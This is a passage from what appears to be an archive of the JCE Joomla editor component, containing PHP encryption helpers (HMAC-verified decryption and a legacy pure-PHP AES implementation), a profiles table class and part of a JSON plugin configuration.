        /** @var string $header */
        $header = Core::ourSubstr($ciphertext, 0, Core::HEADER_VERSION_SIZE);
        if ($header !== Core::CURRENT_VERSION) {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Bad version header.'
            );
        }

        // Get the salt.
        /** @var string $salt */
        $salt = Core::ourSubstr(
            $ciphertext,
            Core::HEADER_VERSION_SIZE,
            Core::SALT_BYTE_SIZE
        );
        if (!\is_string($salt)) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Get the IV.
        /** @var string $iv */
        $iv = Core::ourSubstr(
            $ciphertext,
            Core::HEADER_VERSION_SIZE + Core::SALT_BYTE_SIZE,
            Core::BLOCK_BYTE_SIZE
        );
        if (!\is_string($iv)) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Get the HMAC.
        /** @var string $hmac */
        $hmac = Core::ourSubstr(
            $ciphertext,
            Core::ourStrlen($ciphertext) - Core::MAC_BYTE_SIZE,
            Core::MAC_BYTE_SIZE
        );
        if (!\is_string($hmac)) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Get the actual encrypted ciphertext.
        /** @var string $encrypted */
        $encrypted = Core::ourSubstr(
            $ciphertext,
            Core::HEADER_VERSION_SIZE + Core::SALT_BYTE_SIZE +
                Core::BLOCK_BYTE_SIZE,
            Core::ourStrlen($ciphertext) - Core::MAC_BYTE_SIZE - Core::SALT_BYTE_SIZE -
                Core::BLOCK_BYTE_SIZE - Core::HEADER_VERSION_SIZE
        );
        if (!\is_string($encrypted)) {
            throw new Ex\EnvironmentIsBrokenException();
        }

        // Derive the separate encryption and authentication keys from the key
        // or password, whichever it is.
        $keys = $secret->deriveKeys($salt);

        if (self::verifyHMAC($hmac, $header . $salt . $iv . $encrypted, $keys->getAuthenticationKey())) {
            $plaintext = self::plainDecrypt($encrypted, $keys->getEncryptionKey(), $iv, Core::CIPHER_METHOD);
            return $plaintext;
        } else {
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                'Integrity check failed.'
            );
        }
    }

    /**
     * Raw unauthenticated encryption (insecure on its own).
     *
     * @param string $plaintext
     * @param string $key
     * @param string $iv
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    protected static function plainEncrypt($plaintext, $key, $iv)
    {
        Core::ensureConstantExists('OPENSSL_RAW_DATA');
        Core::ensureFunctionExists('openssl_encrypt');
        /** @var string $ciphertext */
        $ciphertext = \openssl_encrypt(
            $plaintext,
            Core::CIPHER_METHOD,
            $key,
            OPENSSL_RAW_DATA,
            $iv
        );

        if (!\is_string($ciphertext)) {
            throw new Ex\EnvironmentIsBrokenException(
                'openssl_encrypt() failed.'
            );
        }

        return $ciphertext;
    }

    /**
     * Raw unauthenticated decryption (insecure on its own).
     *
     * @param string $ciphertext
     * @param string $key
     * @param string $iv
     * @param string $cipherMethod
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    protected static function plainDecrypt($ciphertext, $key, $iv, $cipherMethod)
    {
        Core::ensureConstantExists('OPENSSL_RAW_DATA');
        Core::ensureFunctionExists('openssl_decrypt');

        /** @var string $plaintext */
        $plaintext = \openssl_decrypt(
            $ciphertext,
            $cipherMethod,
            $key,
            OPENSSL_RAW_DATA,
            $iv
        );
        if (!\is_string($plaintext)) {
            throw new Ex\EnvironmentIsBrokenException(
                'openssl_decrypt() failed.'
            );
        }

        return $plaintext;
    }

    /**
     * Verifies an HMAC without leaking information through side-channels.
     *
     * @param string $expected_hmac
     * @param string $message
     * @param string $key
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return bool
     */
    protected static function verifyHMAC($expected_hmac, $message, $key)
    {
        $message_hmac = \hash_hmac(Core::HASH_FUNCTION_NAME, $message, $key, true);
        return Core::hashEquals($message_hmac, $expected_hmac);
    }
}
com_jce/index.html000060400000000054152455305310010136 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/tables/profiles.php000060400000003713152455305310011754 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Table\Table;

require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/encrypt.php';

class JceTableProfiles extends Table
{
    /**
     * Indicates that columns fully support the NULL value in the database
     *
     * @var    boolean
     * @since  4.0.0
     */
    protected $_supportNullValue = true;

    public function __construct(&$db)
    {
        parent::__construct('#__wf_profiles', 'id', $db);
    }

    public function load($id = null, $reset = true)
    {
        $return = parent::load($id, $reset);

        if ($return !== false) {
            // decrypt params
            if (!empty($this->params)) {
                $this->params = JceEncryptHelper::decrypt($this->params);
            }
        }

        return $return;
    }

    /**
     * Overloaded check function
     *
     * @return  boolean  True on success, false on failure
     *
     * @see     Table::check()
     * @since   2.9.18
     */
    public function check()
    {
        try
        {
            parent::check();
        } catch (Exception $e) {
            $this->setError($e->getMessage());

            return false;
        }

        /**
         * Ensure any new items have compulsory fields set
         */
        if (!$this->id) {
            if (!isset($this->device)) {
                $this->device = 'desktop,tablet,phone';
            }

            if (!isset($this->area)) {
                $this->area = '0';
            }

            // Params can be an empty json string for new tables
            if (empty($this->params)) {
                $this->params = '{}';
            }
        }

        return true;
    }
}
com_jce/tables/index.html000060400000000054152455305310011410 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/helpers/encrypt/aes.php000060400000054036152455305310012561 0ustar00<?php
/**
 * @copyright Copyright (c)2009-2013 Nicholas K. Dionysopoulos
 * @license GNU General Public License version 3, or later
 *
 * @since 2.4
 */

// Protection against direct access
\defined('_JEXEC') or die;

/**
 * AES implementation in PHP (c) Chris Veness 2005-2013.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Included for JCE with the kind permission of Nicholas K. Dionysopoulos
 */
class WFUtilEncrypt
{
    // Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
    protected static $Sbox =
             array(0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
                   0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
                   0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
                   0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
                   0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
                   0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
                   0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
                   0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
                   0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
                   0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
                   0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
                   0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
                   0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
                   0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
                   0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
                   0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16, );

    // Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
    protected static $Rcon = array(
                   array(0x00, 0x00, 0x00, 0x00),
                   array(0x01, 0x00, 0x00, 0x00),
                   array(0x02, 0x00, 0x00, 0x00),
                   array(0x04, 0x00, 0x00, 0x00),
                   array(0x08, 0x00, 0x00, 0x00),
                   array(0x10, 0x00, 0x00, 0x00),
                   array(0x20, 0x00, 0x00, 0x00),
                   array(0x40, 0x00, 0x00, 0x00),
                   array(0x80, 0x00, 0x00, 0x00),
                   array(0x1b, 0x00, 0x00, 0x00),
                   array(0x36, 0x00, 0x00, 0x00), );

    protected static $passwords = array();

    /**
     * AES Cipher function: encrypt 'input' with Rijndael algorithm.
     *
     * @param input message as byte-array (16 bytes)
     * @param w     key schedule as 2D byte-array (Nr+1 x Nb bytes) -
     *              generated from the cipher key by KeyExpansion()
     *
     * @return ciphertext as byte-array (16 bytes)
     */
    public static function Cipher($input, $w)
    {    // main Cipher function [�5.1]
      $Nb = 4;                 // block size (in words): no of columns in state (fixed at 4 for AES)
      $Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

      $state = array();  // initialise 4xNb byte-array 'state' with input [�3.4]
      for ($i = 0; $i < 4 * $Nb; ++$i) {
          $state[$i % 4][floor($i / 4)] = $input[$i];
      }

        $state = self::AddRoundKey($state, $w, 0, $Nb);

        for ($round = 1; $round < $Nr; ++$round) {  // apply Nr rounds
        $state = self::SubBytes($state, $Nb);
            $state = self::ShiftRows($state, $Nb);
            $state = self::MixColumns($state, $Nb);
            $state = self::AddRoundKey($state, $w, $round, $Nb);
        }

        $state = self::SubBytes($state, $Nb);
        $state = self::ShiftRows($state, $Nb);
        $state = self::AddRoundKey($state, $w, $Nr, $Nb);

        $output = array(4 * $Nb);  // convert state to 1-d array before returning [�3.4]
      for ($i = 0; $i < 4 * $Nb; ++$i) {
          $output[$i] = $state[$i % 4][floor($i / 4)];
      }

        return $output;
    }

    protected static function AddRoundKey($state, $w, $rnd, $Nb)
    {  // xor Round Key into state S [�5.1.4]
      for ($r = 0; $r < 4; ++$r) {
          for ($c = 0; $c < $Nb; ++$c) {
              $state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
          }
      }

        return $state;
    }

    protected static function SubBytes($s, $Nb)
    {    // apply SBox to state S [�5.1.1]
      for ($r = 0; $r < 4; ++$r) {
          for ($c = 0; $c < $Nb; ++$c) {
              $s[$r][$c] = self::$Sbox[$s[$r][$c]];
          }
      }

        return $s;
    }

    protected static function ShiftRows($s, $Nb)
    {    // shift row r of state S left by r bytes [�5.1.2]
      $t = array(4);
        for ($r = 1; $r < 4; ++$r) {
            for ($c = 0; $c < 4; ++$c) {
                $t[$c] = $s[$r][($c + $r) % $Nb];
            }  // shift into temp copy
        for ($c = 0; $c < 4; ++$c) {
            $s[$r][$c] = $t[$c];
        }         // and copy back
        }          // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
      return $s;  // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
    }

    protected static function MixColumns($s, $Nb)
    {   // combine bytes of each col of state S [�5.1.3]
      for ($c = 0; $c < 4; ++$c) {
          $a = array(4);  // 'a' is a copy of the current column from 's'
        $b = array(4);  // 'b' is a�{02} in GF(2^8)
        for ($i = 0; $i < 4; ++$i) {
            $a[$i] = $s[$i][$c];
            $b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
        }
        // a[n] ^ b[n] is a�{03} in GF(2^8)
        $s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
        $s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
        $s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
        $s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
      }

        return $s;
    }

    /**
     * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
     * to generate a key schedule.
     *
     * @param key cipher key byte-array (16 bytes)
     *
     * @return key schedule as 2D byte-array (Nr+1 x Nb bytes)
     */
    public static function KeyExpansion($key)
    {  // generate Key Schedule from Cipher Key [�5.2]
      $Nb = 4;              // block size (in words): no of columns in state (fixed at 4 for AES)
      $Nk = count($key) / 4;  // key length (in words): 4/6/8 for 128/192/256-bit keys
      $Nr = $Nk + 6;        // no of rounds: 10/12/14 for 128/192/256-bit keys

      $w = array();
        $temp = array();

        for ($i = 0; $i < $Nk; ++$i) {
            $r = array($key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]);
            $w[$i] = $r;
        }

        for ($i = $Nk; $i < ($Nb * ($Nr + 1)); ++$i) {
            $w[$i] = array();
            for ($t = 0; $t < 4; ++$t) {
                $temp[$t] = $w[$i - 1][$t];
            }
            if ($i % $Nk == 0) {
                $temp = self::SubWord(self::RotWord($temp));
                for ($t = 0; $t < 4; ++$t) {
                    $temp[$t] ^= self::$Rcon[$i / $Nk][$t];
                }
            } elseif ($Nk > 6 && $i % $Nk == 4) {
                $temp = self::SubWord($temp);
            }
            for ($t = 0; $t < 4; ++$t) {
                $w[$i][$t] = $w[$i - $Nk][$t] ^ $temp[$t];
            }
        }

        return $w;
    }

    protected static function SubWord($w)
    {    // apply SBox to 4-byte word w
      for ($i = 0; $i < 4; ++$i) {
          $w[$i] = self::$Sbox[$w[$i]];
      }

        return $w;
    }

    protected static function RotWord($w)
    {    // rotate 4-byte word w left by one byte
      $tmp = $w[0];
        for ($i = 0; $i < 3; ++$i) {
            $w[$i] = $w[$i + 1];
        }
        $w[3] = $tmp;

        return $w;
    }

    /*
     * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
     *
     * @param a  number to be shifted (32-bit integer)
     * @param b  number of bits to shift a to the right (0..31)
     * @return   a right-shifted and zero-filled by b bits
     */
    protected static function urs($a, $b)
    {
        $a &= 0xffffffff;
        $b &= 0x1f;  // (bounds check)
      if ($a & 0x80000000 && $b > 0) {   // if left-most bit set
        $a = ($a >> 1) & 0x7fffffff;   //   right-shift one bit & clear left-most bit
        $a = $a >> ($b - 1);           //   remaining right-shifts
      } else {                       // otherwise
        $a = ($a >> $b);               //   use normal right-shift
      }

        return $a;
    }

    /**
     * Encrypt a text using AES encryption in Counter mode of operation
     *  - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf.
     *
     * Unicode multi-byte character safe
     *
     * @param plaintext source text to be encrypted
     * @param password  the password to use to generate a key
     * @param nBits     number of bits to be used in the key (128, 192, or 256)
     *
     * @return encrypted text
     */
    public static function AESEncryptCtr($plaintext, $password, $nBits)
    {
        $blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
      if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
          return '';
      }  // standard allows 128/192/256 bit keys
      // note PHP (5) gives us plaintext and password in UTF8 encoding!

      // use AES itself to encrypt password to get cipher key (using plain password as source for
      // key expansion) - gives us well encrypted key
      $nBytes = $nBits / 8;  // no bytes in key
      $pwBytes = array();
        for ($i = 0; $i < $nBytes; ++$i) {
            $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
        }
        $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
        $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long

      // initialise counter block (NIST SP800-38A �B.2): millisecond time-stamp for nonce in
      // 1st 8 bytes, block counter in 2nd 8 bytes
      $counterBlock = array();
        $nonce = floor(microtime(true) * 1000);   // timestamp: milliseconds since 1-Jan-1970
      $nonceSec = floor($nonce / 1000);
        $nonceMs = $nonce % 1000;
      // encode nonce with seconds in 1st 4 bytes, and (repeated) ms part filling 2nd 4 bytes
      for ($i = 0; $i < 4; ++$i) {
          $counterBlock[$i] = self::urs($nonceSec, $i * 8) & 0xff;
      }
        for ($i = 0; $i < 4; ++$i) {
            $counterBlock[$i + 4] = $nonceMs & 0xff;
        }
      // and convert it to a string to go on the front of the ciphertext
      $ctrTxt = '';
        for ($i = 0; $i < 8; ++$i) {
            $ctrTxt .= chr($counterBlock[$i]);
        }

      // generate key schedule - an expansion of the key into distinct Key Rounds for each round
      $keySchedule = self::KeyExpansion($key);

        $blockCount = ceil(strlen($plaintext) / $blockSize);
        $ciphertxt = array();  // ciphertext as array of strings

      for ($b = 0; $b < $blockCount; ++$b) {
          // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
        // done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
        for ($c = 0; $c < 4; ++$c) {
            $counterBlock[15 - $c] = self::urs($b, $c * 8) & 0xff;
        }
          for ($c = 0; $c < 4; ++$c) {
              $counterBlock[15 - $c - 4] = self::urs($b / 0x100000000, $c * 8);
          }

          $cipherCntr = self::Cipher($counterBlock, $keySchedule);  // -- encrypt counter block --

        // block size is reduced on final block
        $blockLength = $b < $blockCount - 1 ? $blockSize : (strlen($plaintext) - 1) % $blockSize + 1;
          $cipherByte = array();

          for ($i = 0; $i < $blockLength; ++$i) {  // -- xor plaintext with ciphered counter byte-by-byte --
          $cipherByte[$i] = $cipherCntr[$i] ^ ord(substr($plaintext, $b * $blockSize + $i, 1));
              $cipherByte[$i] = chr($cipherByte[$i]);
          }
          $ciphertxt[$b] = implode('', $cipherByte);  // escape troublesome characters in ciphertext
      }

      // implode is more efficient than repeated string concatenation
      $ciphertext = $ctrTxt.implode('', $ciphertxt);
        $ciphertext = base64_encode($ciphertext);

        return $ciphertext;
    }

    /**
     * Decrypt a text encrypted by AES in counter mode of operation.
     *
     * @param ciphertext source text to be decrypted
     * @param password   the password to use to generate a key
     * @param nBits      number of bits to be used in the key (128, 192, or 256)
     *
     * @return decrypted text
     */
    public static function AESDecryptCtr($ciphertext, $password, $nBits)
    {
        $blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
      if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
          return '';
      }  // standard allows 128/192/256 bit keys
      $ciphertext = base64_decode($ciphertext);

      // use AES to encrypt password (mirroring encrypt routine)
      $nBytes = $nBits / 8;  // no bytes in key
      $pwBytes = array();
        for ($i = 0; $i < $nBytes; ++$i) {
            $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
        }
        $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
        $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long

      // recover nonce from 1st element of ciphertext
      $counterBlock = array();
        $ctrTxt = substr($ciphertext, 0, 8);
        for ($i = 0; $i < 8; ++$i) {
            $counterBlock[$i] = ord(substr($ctrTxt, $i, 1));
        }

      // generate key schedule
      $keySchedule = self::KeyExpansion($key);

      // separate ciphertext into blocks (skipping past initial 8 bytes)
      $nBlocks = ceil((strlen($ciphertext) - 8) / $blockSize);
        $ct = array();
        for ($b = 0; $b < $nBlocks; ++$b) {
            $ct[$b] = substr($ciphertext, 8 + $b * $blockSize, 16);
        }
        $ciphertext = $ct;  // ciphertext is now array of block-length strings

      // plaintext will get generated block-by-block into array of block-length strings
      $plaintxt = array();

        for ($b = 0; $b < $nBlocks; ++$b) {
            // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
        for ($c = 0; $c < 4; ++$c) {
            $counterBlock[15 - $c] = self::urs($b, $c * 8) & 0xff;
        }
            for ($c = 0; $c < 4; ++$c) {
                $counterBlock[15 - $c - 4] = self::urs(($b + 1) / 0x100000000 - 1, $c * 8) & 0xff;
            }

            $cipherCntr = self::Cipher($counterBlock, $keySchedule);  // encrypt counter block

        $plaintxtByte = array();
            for ($i = 0; $i < strlen($ciphertext[$b]); ++$i) {
                // -- xor plaintext with ciphered counter byte-by-byte --
          $plaintxtByte[$i] = $cipherCntr[$i] ^ ord(substr($ciphertext[$b], $i, 1));
                $plaintxtByte[$i] = chr($plaintxtByte[$i]);
            }
            $plaintxt[$b] = implode('', $plaintxtByte);
        }

      // join array of blocks into single plaintext string
      $plaintext = implode('', $plaintxt);

        return $plaintext;
    }

    /**
     * AES encryption in CBC mode. This is the standard mode (the CTR methods
     * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
     * The data length is tucked as a 32-bit unsigned integer (little endian)
     * after the ciphertext. It supports AES-128, AES-192 and AES-256.
     *
     * @since 3.0.1
     *
     * @author Nicholas K. Dionysopoulos
     *
     * @param string $plaintext The data to encrypt
     * @param string $password  Encryption password
     * @param int    $nBits     Encryption key size. Can be 128, 192 or 256
     *
     * @return string The ciphertext
     */
    public static function AESEncryptCBC($plaintext, $password, $nBits = 128)
    {
        if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
            return false;
        }  // standard allows 128/192/256 bit keys
        if (!function_exists('mcrypt_module_open')) {
            return false;
        }

            // Try to fetch cached key/iv or create them if they do not exist
        $lookupKey = $password.'-'.$nBits;
        if (array_key_exists($lookupKey, self::$passwords)) {
            $key = self::$passwords[$lookupKey]['key'];
            $iv = self::$passwords[$lookupKey]['iv'];
        } else {
            // use AES itself to encrypt password to get cipher key (using plain password as source for
            // key expansion) - gives us well encrypted key
            $nBytes = $nBits / 8;  // no bytes in key
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long
            $newKey = '';
            foreach ($key as $int) {
                $newKey .= chr($int);
            }
            $key = $newKey;

            // Create an Initialization Vector (IV) based on the password, using the same technique as for the key
            $nBytes = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $iv = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $newIV = '';
            foreach ($iv as $int) {
                $newIV .= chr($int);
            }
            $iv = $newIV;

            self::$passwords[$lookupKey]['key'] = $key;
            self::$passwords[$lookupKey]['iv'] = $iv;
        }

        $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
        mcrypt_generic_init($td, $key, $iv);
        $ciphertext = mcrypt_generic($td, $plaintext);
        mcrypt_generic_deinit($td);

        $ciphertext .= pack('V', strlen($plaintext));

        return $ciphertext;
    }

    /**
     * AES decryption in CBC mode. This is the standard mode (the CTR methods
     * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
     *
     * Supports AES-128, AES-192 and AES-256. It supposes that the last 4 bytes
     * contained a little-endian unsigned long integer representing the unpadded
     * data length.
     *
     * @since 3.0.1
     *
     * @author Nicholas K. Dionysopoulos
     *
     * @param string $ciphertext The data to encrypt
     * @param string $password   Encryption password
     * @param int    $nBits      Encryption key size. Can be 128, 192 or 256
     *
     * @return string The plaintext
     */
    public static function AESDecryptCBC($ciphertext, $password, $nBits = 128)
    {
        if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
            return false;
        }  // standard allows 128/192/256 bit keys
        if (!function_exists('mcrypt_module_open')) {
            return false;
        }

        // Try to fetch cached key/iv or create them if they do not exist
        $lookupKey = $password.'-'.$nBits;
        if (array_key_exists($lookupKey, self::$passwords)) {
            $key = self::$passwords[$lookupKey]['key'];
            $iv = self::$passwords[$lookupKey]['iv'];
        } else {
            // use AES itself to encrypt password to get cipher key (using plain password as source for
            // key expansion) - gives us well encrypted key
            $nBytes = $nBits / 8;  // no bytes in key
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long
            $newKey = '';
            foreach ($key as $int) {
                $newKey .= chr($int);
            }
            $key = $newKey;

            // Create an Initialization Vector (IV) based on the password, using the same technique as for the key
            $nBytes = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $iv = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $newIV = '';
            foreach ($iv as $int) {
                $newIV .= chr($int);
            }
            $iv = $newIV;

            self::$passwords[$lookupKey]['key'] = $key;
            self::$passwords[$lookupKey]['iv'] = $iv;
        }

        // Read the data size
        $data_size = unpack('V', substr($ciphertext, -4));

        // Decrypt
        $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
        mcrypt_generic_init($td, $key, $iv);
        $plaintext = mdecrypt_generic($td, substr($ciphertext, 0, -4));
        mcrypt_generic_deinit($td);

        // Trim padding, if necessary
        if (strlen($plaintext) > $data_size) {
            $plaintext = substr($plaintext, 0, $data_size);
        }

        return $plaintext;
    }
}
com_jce/helpers/plugins.json000060400000022627152455305310012171 0ustar00{
    "article": {
        "title": "WF_ARTICLE_TITLE",
        "description": "WF_ARTICLE_DESC",
        "icon": "readmore,pagebreak",
        "editable": 1,
        "row": 4,
        "core": 1
    },
    "anchor": {
        "title": "WF_ANCHOR_TITLE",
        "description": "WF_ANCHOR_DESC",
        "core": 1,
        "icon": "anchor",
        "row": 4,
        "editable": 0
    },
    "attributes": {
        "title": "WF_ATTRIBUTES_TITLE",
        "description": "WF_ATTRIBUTES_DESC",
        "icon": "attribs",
        "editable": 0,
        "row": 4,
        "core": 1
    },
    "autosave": {
        "title": "WF_AUTOSAVE_TITLE",
        "description": "WF_AUTOSAVE_DESC",
        "icon": "autosave",
        "editable": 1,
        "row": 4,
        "core": 1
    },
    "browser": {
        "title": "WF_BROWSER_TITLE",
        "description": "WF_BROWSER_DESC",
        "icon": "",
        "editable": 1,
        "row": 0,
        "core": 1,
        "checksum": "${checksum:browser}"
    },
    "charmap": {
        "title": "WF_CHARMAP_TITLE",
        "description": "WF_CHARMAP_DESC",
        "icon": "charmap",
        "editable": 1,
        "row": 2,
        "core": 1
    },
    "cleanup": {
        "title": "WF_CLEANUP_TITLE",
        "description": "WF_CLEANUP_DESC",
        "icon": "cleanup",
        "editable": 0,
        "row": 1,
        "core": 1
    },
    "clipboard": {
        "title": "WF_CLIPBOARD_TITLE",
        "description": "WF_CLIPBOARD_DESC",
        "icon": "cut,copy,paste,pastetext",
        "editable": 1,
        "row": 2,
        "core": 1
    },
    "code": {
        "title": "WF_CODE_TITLE",
        "description": "WF_CODE_DESC",
        "icon": "",
        "editable": 0,
        "row": 0,
        "core": 1
    },
    "colorpicker": {
        "title": "WF_COLORPICKER_TITLE",
        "description": "WF_COLORPICKER_DESC",
        "icon": "",
        "editable": 0,
        "row": 0,
        "core": 1,
        "checksum": "${checksum:colorpicker}"
    },
    "contextmenu": {
        "title": "WF_CONTEXTMENU_TITLE",
        "description": "WF_CONTEXTMENU_DESC",
        "icon": "",
        "editable": 1,
        "row": 0,
        "core": 1
    },
    "directionality": {
        "title": "WF_DIRECTIONALITY_TITLE",
        "description": "WF_DIRECTIONALITY_DESC",
        "icon": "ltr,rtl",
        "editable": 0,
        "row": 3,
        "core": 1
    },
    "format": {
        "title": "WF_FORMAT_TITLE",
        "description": "WF_FORMAT_DESC",
        "icon": "",
        "editable": 0,
        "row": 0,
        "core": 1,
        "class": "list-box"
    },
    "formatselect": {
        "title": "WF_FORMATSELECT_TITLE",
        "description": "WF_FORMATSELECT_DESC",
        "core": 1,
        "icon": "formatselect",
        "row": 1,
        "editable": 1,
        "class": "list-box"
    },
    "fontcolor": {
        "title": "WF_FONTCOLOR_TITLE",
        "description": "WF_FONTCOLOR_DESC",
        "core": 1,
        "icon": "forecolor,backcolor",
        "row": 2,
        "editable": 1,
        "class": "split-button"
    },
    "fontselect": {
        "title": "WF_FONTSELECT_TITLE",
        "description": "WF_FONTSELECT_DESC",
        "core": 1,
        "icon": "fontselect",
        "row": 2,
        "editable": 1,
        "class": "list-box"
    },
    "fontsizeselect": {
        "title": "WF_FONTSIZESELECT_TITLE",
        "description": "WF_FONTSIZESELECT_DESC",
        "core": 1,
        "icon": "fontsizeselect",
        "row": 2,
        "editable": 1,
        "class": "list-box"
    },
